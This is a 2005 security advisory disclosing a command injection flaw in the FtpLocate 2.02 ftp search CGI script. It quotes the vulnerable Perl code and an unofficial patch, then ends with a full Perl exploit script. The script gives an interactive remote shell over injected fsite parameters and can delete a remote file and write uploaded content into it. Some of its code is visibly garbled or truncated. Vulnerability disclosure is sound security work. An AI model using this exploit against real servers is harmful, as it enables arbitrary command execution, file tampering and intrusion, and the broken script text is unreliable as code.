Chroot Security Group Advisory 2005-07-25 Remote arbitrary code execution in FtpLocate 2.02 (current) Summary: FtpLocate is a ftp search engine supporting filename and description search. A remote attack can run arbitary commands with the web server's privileges by exploiting a unfiltered parameter in flsearch.pl. Details: FtpLocate contains a vulnerability that can allow an attacker to execute arbitrary commands. The vulnerability is due to improper input validation of user-supplied parameters (fsite) by the flsearch.pl script. Remote attackers can run arbitary commands with the web servers's privieges by adding a "|" or ";". Vuln. Systems: FtpLocate 1.5 - 2.02 Vuln. Code: --- /ftplocate-2.02/bin/flsearch.pl : # line 23 - 60 $fsite=clean_str($input{'fsite'}); $fsite_raw=CGI::escape($fsite); ... if ( $fsite eq "" ) { ... } else { $resultfname=$query_raw."-$fsite"; ... } ... open (L, "$CACHEDIR/$resultfname"); # Game Over 1 --- /ftplocate-2.02/bin/flsearch.pl: # line 53 do_flsearch($client, $query, $fsite, $resultfname); /ftplocate-2.02/bin/flmodule.pl: # line 526 – 537 if ( $fsite eq "" ) { ... } else { $optf="-F '$fsite'"; # for glimpse ... } # line 537 open(G, "$CMD_GLIMPSE -i -Ny $optf $optw -H $FILELISTDIR -e '$q' 2>/$TMPDIR/flsearch.tmp.$$|"); # Game Over 2 --- /ftplocate-2.02/bin/flmodule.pl: # line 584 `$CMD_AGREP -i -e '$q' $setlist_str /dev/null>'$CACHEDIR/$resultfname'`; # Game Over 3 --- /ftplocate-2.02/bin/flmodule.pl: # line 589 `$CMD_AGREP -i -e '$q' $setlist_str /dev/null>'$CACHEDIR/$resultfname'`; # Game Over 4 --- Unofficial Patch: diff -urN flsearch.pl.orig flsearch.pl --- flsearch.pl.orig 2005-07-22 17:48:52.502670968 +0800 +++ flsearch.pl 2005-07-22 17:56:00.979532584 +0800 @@ -20,7 +20,10 @@ $starttime=gettimeofday(); $starttimestr=timestr(); $query=clean_str($input{'query'}); $query_raw=CGI::escape($query); -$fsite=clean_str($input{'fsite'}); $fsite_raw=CGI::escape($fsite); +$fsite=clean_str($input{'fsite'}); +# dangerous characters +$fsite =~ s/[\/\"\'\`\|\<\>\\\(\)\[\]\{\}\$\s;&]//g; +$fsite_raw=CGI::escape($fsite); $page=$input{'page'}; $client=ip2fqdn(client_ip()); Vendor Response: 2005.07.15 Vendor notified via email. 2005.07.19 Vendor notified via email, again. 2005.07.25 No response. Advisory released. Exploit Code: #!/usr/bin/perl # # FtpLocate <= 2.02 (current) remote exploit # VERY PRIVATE VERSION # DO NOT DISTRIBUTE # # newbug Tseng [at] chroot.org # sub my_socket { my $s=IO::Socket::INET->new(PeerAddr => $host, PeerPort => 80, Proto => "tcp") or die "socket: "; } sub ch2hex { $chr = $_[0]; $out=""; for($i=0;$i); print "remote file: "; chomp($rfile = ); my $socket = &my_socket($host); print $socket "GET $cgi?query=xx\&fsite=|rm%20-f%20$rfile| $junk"; close $socket; print "remove $host:$rfile done.\n"; my @DATA = `cat $lfile`; $num=1; $total = scalar @DATA; foreach $DATA (@DATA) { $DATA = &ch2hex($DATA); my $socket = &my_socket($host); print $socket "GET $cgi?query=xx\&fsite=|echo%20\"$DATA\"%20>>$rfile| $junk"; print "Send lfile \"$lfile\" to $host:$rfile ... ($num/$total)\n"; sleep(1); close $socket; $num++; } } use IO::Socket::INET; print "FtpLocate flsearch.pl remote exploit\n"; print "host: "; chomp ($host = ); print "port (80): "; chomp ($port = ); if($port eq "") { $port = 80; } print "version 1.0/1.1 (1.0): "; chomp ($ver = ); if($ver eq "") { $ver = "1.0"; } print "cmd/upload (cmd): "; chomp ($opt = ); if($opt eq "") { $opt = "cmd"; } print "cgi path (/cgi-bin/ftplocate/flsearch.pl): "; chomp ($cgi = ); if($cgi eq "") { $cgi = "/cgi-bin/ftplocate/flsearch.pl"; } if($ver eq "1.0") { $junk = "HTTP/1.0\n\n"; } } else { $junk = "HTTP/1.1\nHost: $host\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030624 Netscape/7.1\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1\nAccept-Language: zh-tw,en-us;q=0.7,en;q=0.3\nAccept-Encoding: gzip,deflate\nAccept-Charset: Big5,utf-8;q=0.7,*;q=0.7\nKeep-Alive: 300\nConnection: keep-alive\n\n"; } if($opt eq "cmd") { while(1){ print "h4ck3r\@[$host]:~\$ "; chomp ($cmd = ); if($cmd ne "") { print "Send command \"$cmd\" to $host ...\n"; $socket = &my_socket($host); $cmd =~ s/\s/%20/g; print $socket "GET $cgi?query=xx\&fsite=|$cmd| $junk"; print "done.\n"; } } } elsif($opt eq "upload") { &upload_file($lfile); } print "done.\n";